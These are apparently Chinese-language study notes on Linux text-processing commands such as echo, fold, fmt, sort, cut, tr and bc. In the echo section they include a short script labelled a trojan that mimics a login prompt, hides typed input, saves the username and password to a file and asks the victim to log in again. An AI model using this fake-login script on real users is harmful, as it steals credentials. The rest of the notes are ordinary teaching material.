一、echo格式化输出
1、echo命令
echo -n "this is a string" # 不换行输出
echo -e "this is a\b string" # this is string
echo -e "this is a\c string" # this is a
echo -e "this is a\n string" # this is a (换行) string
echo -e "this is a\t string" # this is a string
木马程序:获取别人的用户名和密码
#! /bin/bash
echo -n "login" #不换行输出
read name
stty -echo #关闭回显
echo -n "password"
read password
echo "" #换行
stty echo #打开回显
echo $name $password >a& #将用户名和密码存入a文件 并且不让用户看到
sleep 0.5 #停顿
echo "please re-enter" #输出重新登录
2、fold命令
行的格式化输出
s:在空格处则断,保证完整性 w:指定显示宽度
- fold -w 90 demo1.txt 每行90个字符输出
- fold -s -w 90 demo1.txt 每行90个字符输出 并且保证完整性
3、fmt命令
段落格式
-c:段落缩进两格 -s:指定宽度 -u:统一空格数
str = `fmt -c -w 80 demo2.txt` #首行缩进 每行80
4、rev命令
反转
5、pr
文本页格式化
str=
pr -h "hello linux" -a -f -4 demo.txt
- pr demo1.txt 一页输出
二、文本排序
1、sort命令
排序命令
dome2.txt
- sort -k 2,3 demo2.txt 排序方式按照第2列和第3列升序排列
- sort -n -k 3 demo2.txt 以数字升序进行排序
- sort -r -n -k 4 demo2.txt 以数字降序进行排序
- cat -n sort.txt 添加行号
- nl sort.txt 添加行号
三、文本内容处理
1、cut命令
选取指令
注意:-c 1-3 首字母为1 截取1到3共三个字母
-c 1,3 截取1和3列内容
从文件中选取以:分隔 的第一列到第三列的文本内容
选行:1-6/1,3,4,6
cut 字符串的截取
选取1-3和5字符
2、paste
拼接
直接拼接
自定义分隔符拼接
3、tr
替换文件内容
删除重复字符 adbcc->adbc
替换:小写换大写
读文本 删除[0-9]和:
4、join
内连接(默认) 左连接:1 右连接:2
结:
1、删除有同名的文件
# 删除password1 password2
rm password*
2、查看文件前十行
# 取前十行写入到当前文件
head /etc/passwd > passwd
3、整除 与 保留小数点
#let 只能整除 不能用13.0
let x=13/3
x=4
#bc 可以用13.0
echo "x=13.0/3"|bc
x=4
#bc 保留小数位2位
echo "scale=2;13.0/3"|bc
4.33
# 存入变量
y=$(echo "scale=2;13.0/3"|bc)
y-=4.33 # 字符串形式